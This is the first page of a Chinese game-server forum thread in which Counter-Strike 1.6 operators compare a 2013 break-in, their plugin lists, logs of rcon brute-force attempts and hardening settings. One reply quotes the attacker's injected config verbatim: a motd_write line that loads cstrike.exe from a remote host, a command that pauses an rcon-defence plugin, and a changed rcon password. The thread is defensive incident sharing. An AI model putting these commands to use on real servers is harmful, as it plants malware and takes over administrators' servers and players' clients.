设为首页收藏本站

搜索
登录或注册
点通论坛»论坛 › AMXX 技术讨论区 › AMXX 一般性问题讨论版 › 服主们小心被俄罗斯人盗op密码然后装了后门 ...
1234下一页
返回列表 发新帖
楼主: zyllee

服主们小心被俄罗斯人盗op密码然后装了后门

[复制链接]
awp46
发表于 2013-6-25 03:01:37 | 显示全部楼层 来自 中国–山东–威海–乳山市
我也遇到了同样的问题. 所有的服务端界面都有下面图这种爆破.不断的换IP和枚聚密码! 用的是5758的服务端!metmod及amxx还有SXE和双协议补丁的版本全都是一致的!

除了比赛服没有被写入楼主所提到的文件外,其他服都被写入了文件.

比赛服加载的插件很少.没有被写入. 其他混战服和死亡服都被写入.但只有2个服写入的文件被执行,OP密码被改.这2个服是租给别人的.余下的自己的4个服被写入,但文件没有被执行,OP也没被改掉.一共是7个服.

大家都列出环境,对比一下是哪个插件有后门.还有是文件是从哪写入的!

cstrike\addons\metamod\exec.cfg

cstrike\addons\amxmodx\configs\maps文件夹

还有motd.txt

除了motd.txt外,其他文件的内容均相同.

内容如下:
  1. motdfile motd.txt
  2. motd_write http://zeal1209.no-ip.org/cstrike.exe

  4. amxx pause rcon_defencer.amxx

  6. rcon_password zhenya
复制代码


被写入并执行的插件列表:
  1. ; AMX Mod X 插件调用
  2. ; 不用的插件请在前面加上 ;

  4. ; 管理员 管理模式类 —— 只能选择一种
  5. admin.amxx                ; 管理员 管理模式类 (所有的管理员相关的插件都需要此插件)       
  6. ;admin_sql.amxx        debug        ; 管理员 管理模式类 - SQL 版本 (若使用此模式请注释掉 admin.amxx)

  8. ; 系统基本类
  9. admincmd.amxx                ; 基本的管理员控制台管理命令
  10. adminhelp.amxx                ; 管理员控制台命令帮助信息
  11. ;adminslots.amxx        debug        ; 管理员预留通道
  12. multilingual.amxx        ; 多种语言管理

  14. ; 菜单/目录类
  15. menufront.amxx                ; 提供管理员菜单的格式
  16. cmdmenu.amxx                ; 命令菜单（声音播放等许多设置）
  17. plmenu.amxx                ; 玩家菜单 (踢人, 封禁玩家, 客户端命令等.)
  18. telemenu.amxx                ; 传送菜单 【可以将某一玩家传送到指定地点】(需要开启娱乐模块)
  19. mapsmenu.amxx                ; 地图菜单 (投票更换地图, 直接更换地图)
  20. pluginmenu.amxx                ; 菜单命令/通过调用插件设置游戏参数

  22. ; 聊天\信息类
  23. adminchat.amxx                ; 在控制台里聊天的命令
  24. antiflood.amxx                ; 阻止客户端在服务器上疯狂发信息（呵呵……就是灌水！）
  25. scrollmsg.amxx                ; 屏幕下方滚动字幕
  26. imessage.amxx                ; 屏幕中央彩色字体
  27. adminvote.amxx                ; 投票菜单
  28. admin_in_op_vip.amxx    ; 显示在线OP和VIP
  29. admin_godmode.amxx      ;
  30. admin_heal.amxx         ;
  31. admin_fire              ;

  33. ; 地图类
  34. nextmap.amxx                ; 显示下一张地图的插件
  35. ;mapchooser.amxx                ; 在下一张地图开始前自动发起投票地图决定下一张地图的插件
  36. timeleft.amxx                ; 显示当前地图剩余时间的插件

  38. ; 配置类
  39. pausecfg.amxx                ; 通过菜单来暂停/恢复插件的使用 【管理功能】
  40. statscfg.amxx                ; 通过菜单来设置管理数据统计插件【管理功能】


  43. ; 允许使用 AMX Mod 插件
  44. ;amxmod_compat.amxx        ; AMX Mod 向后兼容层

  46. ; 反恐精英类
  47. restmenu.amxx                ; 禁用武器功能
  48. csstats.amxx                ; csstats 排名
  49. statsx.amxx                ; 在人物死亡和一个回合结束的时候显示当前的统计信息 (需要开启 CSX 模块!)
  50. miscstats.amxx                ; 为反恐精英收集各种事件的信息。
  51. stats_logging.amxx        ; 武器数据统计记录 (需要开启 CSX 模块!)

  53. ; 自定义插件 - 第三方插件请加在下面
  54. ; 添加方法：
  55. ; 请将第三方插件的名字带上后缀名加在下面。例如：123456.amxx
  56. cnname.amxx                ;中文名
  57. ;addmaster.amxx
  58. ;zfMenu.amxx

  60. ;zf168-27015.amxx
  61. ;zf168-27016.amxx
  62. zf168-27017-1.amxx
  63. ;zf168-27018.amxx
  64. ;zf168-27019.amxx
  65. ;zf168-27020.amxx

  67. AFK_C4.amxx                 ; C4携带者不动掉出炸药包
  68. First_Shot_Reward.amxx        ; 杀敌前三奖励
  69. flashfix.amxx                ; 闪光BUG修复
  70. hpk.amxx                ; 高ping玩家自动踢出
  71. ;nosxeta.amxx                ; NOSXE不能使用AWP
  72. say_menu.amxx                ; 按Y键后输入menu可以打开管理员菜单或玩家菜单
  73. votemenu.amxx                ; 投票踢出玩家和投票封禁玩家
  74. Map_Spawns_Editor.amxx        ;地图出生点位
  75. ;team_objectives.amxx        ;任务失败处罚
  76. MONEY16000.amxx
  77. sxei_plus.amxx

复制代码
下面是被写入,但没有被执行的插件列表:
  1. ; AMX Mod X 插件调用
  2. ; 不用的插件请在前面加上 ;

  4. ; 管理员 管理模式类 —— 只能选择一种
  5. ;admin.amxx                ; 管理员 管理模式类 (所有的管理员相关的插件都需要此插件)       
  6. admin_sql.amxx        debug        ; 管理员 管理模式类 - SQL 版本 (若使用此模式请注释掉 admin.amxx)

  8. ; 系统基本类
  9. admincmd.amxx                ; 基本的管理员控制台管理命令
  10. adminhelp.amxx                ; 管理员控制台命令帮助信息
  11. ;adminslots.amxx        debug        ; 管理员预留通道
  12. multilingual.amxx        ; 多种语言管理

  14. ; 菜单/目录类
  15. menufront.amxx                ; 提供管理员菜单的格式
  16. cmdmenu.amxx                ; 命令菜单（声音播放等许多设置）
  17. plmenu.amxx                ; 玩家菜单 (踢人, 封禁玩家, 客户端命令等.)
  18. telemenu.amxx                ; 传送菜单 【可以将某一玩家传送到指定地点】(需要开启娱乐模块)
  19. mapsmenu.amxx                ; 地图菜单 (投票更换地图, 直接更换地图)
  20. pluginmenu.amxx                ; 菜单命令/通过调用插件设置游戏参数

  22. ; 聊天\信息类
  23. adminchat.amxx                ; 在控制台里聊天的命令
  24. antiflood.amxx                ; 阻止客户端在服务器上疯狂发信息（呵呵……就是灌水！）
  25. scrollmsg.amxx                ; 屏幕下方滚动字幕
  26. imessage.amxx                ; 屏幕中央彩色字体
  27. adminvote.amxx                ; 投票菜单
  28. admin_in_op_vip.amxx    ; 显示在线OP和VIP


  31. ; 地图类
  32. nextmap.amxx                ; 显示下一张地图的插件
  33. mapchooser.amxx                ; 在下一张地图开始前自动发起投票地图决定下一张地图的插件
  34. timeleft.amxx                ; 显示当前地图剩余时间的插件

  36. ; 配置类
  37. pausecfg.amxx                ; 通过菜单来暂停/恢复插件的使用 【管理功能】
  38. statscfg.amxx                ; 通过菜单来设置管理数据统计插件【管理功能】


  41. ; 允许使用 AMX Mod 插件
  42. ;amxmod_compat.amxx        ; AMX Mod 向后兼容层

  44. ; 反恐精英类
  45. restmenu.amxx                ; 禁用武器功能
  46. csstats.amxx                ; csstats 排名
  47. statsx.amxx                ; 在人物死亡和一个回合结束的时候显示当前的统计信息 (需要开启 CSX 模块!)
  48. miscstats.amxx                ; 为反恐精英收集各种事件的信息。
  49. stats_logging.amxx        ; 武器数据统计记录 (需要开启 CSX 模块!)

  51. ; 自定义插件 - 第三方插件请加在下面
  52. ; 添加方法：
  53. ; 请将第三方插件的名字带上后缀名加在下面。例如：123456.amxx
  54. cnname.amxx                ;中文名
  55. ;addmaster.amxx
  56. ;zfMenu.amxx


  59. ;zf168-27015.amxx
  60. ;zf168-27016.amxx
  61. ;zf168-27017.amxx
  62. zf168-27018-1.amxx
  63. ;zf168-27019-1.amxx
  64. ;zf168-27020.amxx

  66. AFK_C4.amxx                 ; C4携带者不动掉出炸药包
  67. First_Shot_Reward.amxx        ; 杀敌前三奖励
  68. flashfix.amxx                ; 闪光BUG修复
  69. hpk.amxx                ; 高ping玩家自动踢出
  70. ;nosxeta.amxx                ; NOSXE不能使用AWP
  71. say_menu.amxx                ; 按Y键后输入menu可以打开管理员菜单或玩家菜单
  72. votemenu.amxx                ; 投票踢出玩家和投票封禁玩家
  73. Map_Spawns_Editor.amxx        ;地图出生点位
  74. team_objectives.amxx        ;任务失败处罚
  75. MONEY16000.amxx
  76. sxei_plus.amxx
复制代码
比赛服,没有被写入的插件列表
  1. ; AMX Mod X 插件调用
  2. ; 不用的插件请在前面加上 ;

  4. ; 管理员 管理模式类 —— 只能选择一种
  5. admin.amxx                ; 管理员 管理模式类 (所有的管理员相关的插件都需要此插件)       
  6. ;admin_sql.amxx        debug        ; 管理员 管理模式类 - SQL 版本 (若使用此模式请注释掉 admin.amxx)

  8. ; 系统基本类
  9. admincmd.amxx                ; 基本的管理员控制台管理命令
  10. ;adminhelp.amxx                ; 管理员控制台命令帮助信息
  11. ;adminslots.amxx        debug        ; 管理员预留通道
  12. ;multilingual.amxx        ; 多种语言管理

  14. ; 菜单/目录类
  15. menufront.amxx                ; 提供管理员菜单的格式
  16. cmdmenu.amxx                ; 命令菜单（声音播放等许多设置）
  17. plmenu.amxx                ; 玩家菜单 (踢人, 封禁玩家, 客户端命令等.)
  18. ;telemenu.amxx                ; 传送菜单 【可以将某一玩家传送到指定地点】(需要开启娱乐模块)
  19. mapsmenu.amxx                ; 地图菜单 (投票更换地图, 直接更换地图)
  20. ;pluginmenu.amxx                ; 菜单命令/通过调用插件设置游戏参数

  22. ; 聊天\信息类
  23. adminchat.amxx                ; 在控制台里聊天的命令
  24. antiflood.amxx                ; 阻止客户端在服务器上疯狂发信息（呵呵……就是灌水！）
  25. ;scrollmsg.amxx                ; 屏幕下方滚动字幕
  26. ;imessage.amxx                ; 屏幕中央彩色字体
  27. ;adminvote.amxx                ; 投票菜单
  28. ;admin_in_op_vip.amxx    ; 显示在线OP和VIP


  31. ; 地图类
  32. ;nextmap.amxx                ; 显示下一张地图的插件
  33. ;mapchooser.amxx        ; 在下一张地图开始前自动发起投票地图决定下一张地图的插件
  34. ;timeleft.amxx                ; 显示当前地图剩余时间的插件

  36. ; 配置类
  37. pausecfg.amxx                ; 通过菜单来暂停/恢复插件的使用 【管理功能】
  38. ;statscfg.amxx                ; 通过菜单来设置管理数据统计插件【管理功能】


  41. ; 允许使用 AMX Mod 插件
  42. ;amxmod_compat.amxx        ; AMX Mod 向后兼容层

  44. ; 反恐精英类
  45. restmenu.amxx                ; 禁用武器功能
  46. ;csstats.amxx                ; csstats 排名
  47. ;statsx.amxx                ; 在人物死亡和一个回合结束的时候显示当前的统计信息 (需要开启 CSX 模块!)
  48. ;miscstats.amxx                ; 为反恐精英收集各种事件的信息。
  49. ;stats_logging.amxx        ; 武器数据统计记录 (需要开启 CSX 模块!)

  51. ; 自定义插件 - 第三方插件请加在下面
  52. ; 添加方法：
  53. ; 请将第三方插件的名字带上后缀名加在下面。例如：123456.amxx
  54. cnname.amxx                ;中文名
  55. flashfix.amxx                ; 闪光BUG修复
  56. say_menu.amxx                ; 按Y键后输入menu可以打开管理员菜单或玩家菜单


  59. amx_match_deluxe.amxx
  60. amx_money_r3.amxx
  61. teamtalk.amxx
复制代码

本帖子中包含更多资源

您需要 登录 才可以下载或查看，没有账号？注个册吧

×
回复

使用道具 举报

发表于 2013-6-25 08:36:10 | 显示全部楼层 来自 中国–山东–青岛
老毛子 这么坏
回复

使用道具 举报

发表于 2013-6-25 23:55:44 | 显示全部楼层 来自 中国–云南–曲靖
:o这。。。。。。好吧  关注下。
回复

使用道具 举报

发表于 2013-6-26 15:28:33 | 显示全部楼层 来自 中国–河北–保定
暴力破解的吧！
回复

使用道具 举报

jixiwb
发表于 2013-6-26 20:04:22 | 显示全部楼层 来自 中国–上海–上海
现在能加插件了，sound.amxx 从maps文件夹中的plguinsxx.ini来启用的
回复

使用道具 举报

jixiwb
发表于 2013-6-26 20:05:14 | 显示全部楼层 来自 中国–上海–上海
这插件会篡改地服玩家的userconfig:@
回复

使用道具 举报

zhouth
发表于 2013-6-27 14:23:45 | 显示全部楼层 来自 中国–江苏–苏州
我的服务器也遭到了这个入侵 求解决方案
回复

使用道具 举报

zhouth
发表于 2013-6-28 13:29:02 | 显示全部楼层 来自 中国–江苏–苏州
是不是METAMOD 有问题  昨天 没开AMX插件  居然 也植入MAP文件夹了。 有高手出台解决方法么 ？
回复

使用道具 举报

发表于 2013-6-29 00:34:37 | 显示全部楼层 来自 中国–广东–深圳
本帖最后由 wangningyu 于 2013-6-29 00:37 编辑

测试过啦，5956才会这样，而5758就不会了，在connect就提示fake client拦截了

另外忘记说了，这个工具GG一下就找得到，跟俄佬没多大关系~~

h.t.t.p://=====31.====200.====239.====201

(自己去掉等于号吧！)



用GOOGLE翻译成英文，用百度再把英文翻译成中文，才大致了解了，很黄很暴力~~

如果你在这里，那就意味着你不坐在地上，试图解决你在公告的污秽。值得称赞的。此服务器将不工作，也许你将能够洪水也。然而，如果你试图洪水（DDoS）这个页面，你不去，你就越有可能只是禁止系统。所以不要被愚弄。

联系：ICQ的646459042，尤金
回复

使用道具 举报

发表于 2013-6-29 14:50:32 | 显示全部楼层 来自 中国–辽宁–大连
这个在几个礼拜前，大概抓到几W个俄罗斯和乌克兰还有美国的IP来攻击我的服，
我的服排名世界400左右，后来有一天进我服的玩家客户端被植入自动进服cfg。
在打开CS客户端的同时直接转到俄罗斯的3个僵尸服，
经过一个多星期的研究，写下研究结果，分析给大家，
5758服务端的swds.dll有上传的漏洞，具体利用方法不便透露，
这个上传会在config/maps目录下多一些配置文件和xxxx.amxx等



打上最新的swds.dll的SP2补丁即可
附件包括Linux和Windows的补丁
（附件较大上传不方便）
我已放到我的论坛上了
没有点通币的可以访问
http://bbs.51537.com/read-htm-tid-7810.html

另外5956和5758被hl_brute多次、大量、洪水般的嗅探服务器的OP密码可以使用
anti_hlbrute.amxx 最新版本是1.2版

如果5956被XBrute多次、大量、洪水般的嗅探服务器OP密码的话，在DP没有更新的情况下，还是使用5758服务端打上补丁吧，加上HL_BRUTE1.2基本能安详许多

L 06/29/2013 - 02:54:44: Bad Rcon: "rcon 1323454336 "06012002" echo XBrute by ZeaL" from "109.110.58.86:27006"
L 06/29/2013 - 02:54:55: Bad Rcon: "rcon 1064897828 "40102" echo XBrute by ZeaL" from "95.81.33.180:27005"
L 06/29/2013 - 02:54:56: Bad Rcon: "rcon 293450848 "412002" echo XBrute by ZeaL" from "37.212.207.80:27005"
L 06/29/2013 - 02:55:01: Bad Rcon: "rcon 165748071 "04012" echo XBrute by ZeaL" from "5.166.185.101:27005"
L 06/29/2013 - 02:55:07: Bad Rcon: "rcon 2294079100 "4012" echo XBrute by ZeaL" from "95.58.51.67:21851"
L 06/29/2013 - 02:55:10: Bad Rcon: "rcon 89383525 "0412" echo XBrute by ZeaL" from "92.47.2.200:10523"
L 06/29/2013 - 02:55:13: Bad Rcon: "rcon 2057423911 "412" echo XBrute by ZeaL" from "176.8.108.80:27006"
L 06/29/2013 - 02:55:26: Bad Rcon: "rcon 286229498 "25122001" echo XBrute by ZeaL" from "195.162.81.150:29266"
L 06/29/2013 - 02:55:28: Bad Rcon: "rcon 1150118152 "05012002" echo XBrute by ZeaL" from "188.134.44.31:27005"
L 06/29/2013 - 02:55:29: Bad Rcon: "rcon 960333148 "25121" echo XBrute by ZeaL" from "89.45.103.22:27006"
L 06/29/2013 - 02:55:35: Bad Rcon: "rcon 713236419 "0512002" echo XBrute by ZeaL" from "37.229.67.105:27005"
L 06/29/2013 - 02:55:56: Bad Rcon: "rcon 2054130206 "05012" echo XBrute by ZeaL" from "95.86.231.3:27005"
L 06/29/2013 - 02:56:03: Bad Rcon: "rcon 835981102 "0512" echo XBrute by ZeaL" from "178.234.234.113:28729"
L 06/29/2013 - 02:56:11: Bad Rcon: "rcon 33187532 "512" echo XBrute by ZeaL" from "109.120.36.5:27005"
L 06/29/2013 - 02:56:14: Bad Rcon: "rcon 1578989710 "6012002" echo XBrute by ZeaL" from "91.211.215.162:27005"
L 06/29/2013 - 02:56:15: Bad Rcon: "rcon 1943081664 "0612002" echo XBrute by ZeaL" from "188.0.148.165:27005"

这个XBrute的5956在没有升级DP的情况下是暂时没有办法和谐的。
附
SERVER.CFG里的配置，
sv_rcon_minfailures 1
// 允许输入OP密码 错误次数下限
// 达到下限则封禁对方的IP

sv_rcon_maxfailures 1
// 允许输入OP密码 错误次数上限
// 达到上限则封禁对方的IP

sv_rcon_minfailuretime 604800
// seconds for next try （1-3600）

sv_rcon_banpenalty 0
// 封禁的时限 单位 分钟
// 0=永久
对它无效

最新服务端漏洞俄罗斯链接
http://c-s.net.ua/forum/topic37395.html


本帖子中包含更多资源

您需要 登录 才可以下载或查看，没有账号？注个册吧

×
回复

使用道具 举报

下一页 »
1234下一页
返回列表 发新帖
游客
回复
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 注个册吧

快速回复 返回顶部 返回列表